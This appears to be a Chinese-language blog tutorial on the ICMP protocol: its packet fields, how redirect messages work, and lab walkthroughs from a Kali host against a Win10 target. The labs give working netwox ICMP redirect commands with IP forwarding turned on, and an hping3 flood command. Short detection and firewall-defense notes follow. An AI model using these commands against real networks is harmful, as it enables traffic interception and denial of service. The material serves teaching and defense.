ICMP协议

278 阅读3分钟

概述

  • Internet Control Message Protocol网际控制消息协议,工作在网络层,制定了主机与路由器之间传递控制消息的标准。
  • 控制消息:检测网络是否通畅、主机是否可达、路由是否可用的消息。
  • 数据封装在网络层与传输层之间。

image.png

数据字段

Type: 8 (Echo (ping) request) ICMP报文类型,8表示请求,0表示响应(回复) Code: 0 类型编码 Checksum: 0x4c8c [correct] 校验和,头部和数据的校验和,保证整个ICMP数据包完整性 Identifier (BE): 1 (0x0001) 用于标志发送数据包的进程 Sequence Number (BE): 207 (0x00cf) 标识数据包,请求与响应的数据包标识相同 Data (32 bytes) 数据

image.png

  • Windows查看系统TTL值:netsh interface ip get global
  • Windows修改系统TTL值:netsh interface ip set global defaultcurhoplimit=值

重定向

  • 当路由器检查到当前数据传输路径不是最优的路径时,会响应源主机一个ICMP报文,该报文为重定向报文,告诉源主机下一次发送该目的主机的报文时使用另外的网关,改变路由路径

image.png

案例

image.png

  • Host1主机与R2连接的192.168.3.1端口主机ping通讯,Host1主机检查目标IP(192.168.3.1)与自己的IP是否为相同网段,不是,则需要将数据发送给自己的网关转发,Host1主机发送ARP请求,获取网关(R1)MAC地址,R1收到ARP请求后,将自己的MAC地址响应给Host1主机,Host1主机将R1的MAC地址写入到自己的MAC表中;
  • Host1主机将发送给192.168.3.1的数据发送给R1转发,R1收到数据后,发现当路由路径不是最优的,Host1主机可以将数据直接交给R2,所以R1会响应给Host1主机一个ICMP重定向报文,提示Host1主机下一次发送该目的地的数据包可以直接交给R2,R1会将当前接收到的消息转发到目的地;
  • Host1主机后续要发送给192.168.3.1的数据会交给R2转发;

ICMP重定向实验

image.png

主机:
  • 靶机:win10
  • 攻击主机:kali
步骤(kali):
  • 下载攻击工具netwox,工具说明文档:web.ecs.syr.edu/~wedu/Teach… apt-get install netwox
  • 执行命令发送ICMP重定向数据包
    netwox 86 -d 网卡名称 -g 新网关IP -i 旧网关IP
    netwox 86 -d eth0 -g 192.168.126.137 -i 192.168.126.2
  • 开启转发
    echo 1 > /proc/sys/net/ipv4/ip_forward

ICMP重定向攻击研判

  • 现象:网络抖动较厉害(网络不稳定)
  • 通过捕包工具捕获网卡数据包,查看是否存在大量ICMP重定向数据包;

ICMP攻击相较于ARP攻击的区别

  • ICMP攻击会造成网络抖动(不稳定)、ARP会造成无法上网;
  • ICMP可以跨网络攻击,在没借助其它技术情况下ARP只能同网络发起攻击;

如何防御ICMP

  • 开启防火墙

ICMP的泛洪攻击(flood)

image.png

主机
  • 靶机:win10
  • 攻击主机:kali
步骤(kali):
  • 使用命令持续向靶机发送大量数据包
    hping3 -1 -d 数据包大小 --flood 靶机IP hping3 -1 -d 100000 --flood 192.168.126.134